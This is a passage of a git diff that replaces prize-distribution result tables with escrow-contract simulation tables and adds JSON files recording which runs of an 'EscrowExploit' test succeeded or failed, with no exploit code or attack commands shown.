2024-06-05T13:36:39.191Z | true | 2013953 | -| extendLockTime | 2024-06-05T13:36:39.794Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:38.740Z | true | 2013953 | -| extendLockTime | 2024-06-05T13:36:40.199Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:40.613Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:41.019Z | false | 2013953 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-24.md b/results-prompt-2/PrizeDistribution-24.md deleted file mode 100644 index 15c174de..00000000 --- a/results-prompt-2/PrizeDistribution-24.md +++ /dev/null @@ -1,21 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:38.059Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:38.242Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:38.751Z | true | 2013954 | -| extendLockTime | 2024-06-05T13:36:39.384Z | true | 2013954 | -| extendLockTime | 2024-06-05T13:36:39.589Z | true | 2013954 | -| extendLockTime | 2024-06-05T13:36:39.159Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:39.802Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:40.007Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:40.215Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:40.522Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:40.851Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:41.157Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:41.465Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:41.678Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:41.985Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:42.259Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:42.566Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:42.775Z | false | 2013954 | -| extendLockTime | 2024-06-05T13:36:43.090Z | false | 2013954 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-3.md b/results-prompt-2/PrizeDistribution-3.md deleted file mode 100644 index 6acfdda7..00000000 --- a/results-prompt-2/PrizeDistribution-3.md +++ /dev/null @@ -1,13 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:35:52.555Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:53.407Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:53.922Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:54.478Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:54.985Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:55.512Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:56.266Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:56.981Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:57.500Z | false | 2013936 | -| extendLockTime | 2024-06-05T13:35:58.240Z | false | 2013936 | -| claimPrize | 2024-06-05T13:37:10.985Z | false | 2013936 | \ No newline at end of file diff --git a/results/Escrow-1.md b/results/Escrow-1.md new file mode 100644 index 00000000..46132a86 --- /dev/null +++ b/results/Escrow-1.md @@ -0,0 +1,5 @@ +| Activity ID | Time | Violation | Simulation | +| --- | --- | --- | --- | +| placeInEscrow | 2024-06-19T10:36:44.580Z | false | 2015264 | +| releaseByReceiver | 2024-06-19T10:36:45.972Z | false | 2015264 | +| withdrawFromEscrow | 2024-06-19T10:36:47.355Z | true | 2015264 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-8.md b/results/Escrow-2.md similarity index 54% rename from results-prompt-2/PrizeDistribution-8.md rename to results/Escrow-2.md index 80211ae1..011a2cd0 100644 --- a/results-prompt-2/PrizeDistribution-8.md +++ b/results/Escrow-2.md @@ -1,3 +1,3 @@ | Activity ID | Time | Violation | Simulation | | --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:02.218Z | false | 2013940 | \ No newline at end of file +| placeInEscrow | 2024-06-19T10:36:49.270Z | false | 2015265 | \ No newline at end of file diff --git a/results/Escrow-3.md b/results/Escrow-3.md new file mode 100644 index 00000000..61846b52 --- /dev/null +++ b/results/Escrow-3.md @@ -0,0 +1,4 @@ +| Activity ID | Time | Violation | Simulation | +| --- | --- | --- | --- | +| placeInEscrow | 2024-06-19T10:36:53.881Z | false | 2015266 | +| withdrawFromEscrow | 2024-06-19T10:36:56.619Z | true | 2015266 | \ No newline at end of file diff --git a/results/Escrow-4.md b/results/Escrow-4.md new file mode 100644 index 00000000..48a9ec4a --- /dev/null +++ b/results/Escrow-4.md @@ -0,0 +1,3 @@ +| Activity ID | Time | Violation | Simulation | +| --- | --- | --- | --- | +| placeInEscrow | 2024-06-19T10:36:58.432Z | false | 2015267 | \ No newline at end of file diff --git a/results/json/failed_exploits.json b/results/json/failed_exploits.json new file mode 100644 index 00000000..ec662ee2 --- /dev/null +++ b/results/json/failed_exploits.json @@ -0,0 +1,12 @@ +[ + { + "contract": "Escrow-2", + "exploit": "EscrowExploit", + "reason": "Exploit did not yield the expected result" + }, + { + "contract": "Escrow-3", + "exploit": "EscrowExploit", + "reason": "Exploit did not yield the expected result" + } +] \ No newline at end of file diff --git a/results/json/successful_exploits.json b/results/json/successful_exploits.json new file mode 100644 index 00000000..13cb4d55 --- /dev/null +++ b/results/json/successful_exploits.json @@ -0,0 +1,12 @@ +[ + { + "contract": "Escrow-1", + "exploit": "EscrowExploit", + "result": true + }, + { + "contract": "Escrow-4", + "exploit": "EscrowExploit", + "result": true + } +] \ No newline at end of file diff --git a/results/json/unresolved_exploits.json b/results/json/unresolved_exploits.json new file mode 100644 index 00000000..0637a088 --- /dev/null +++ b/results/json/unresolved_exploits.json @@ -0,0 +1 @@ +[] \ No newline at end of file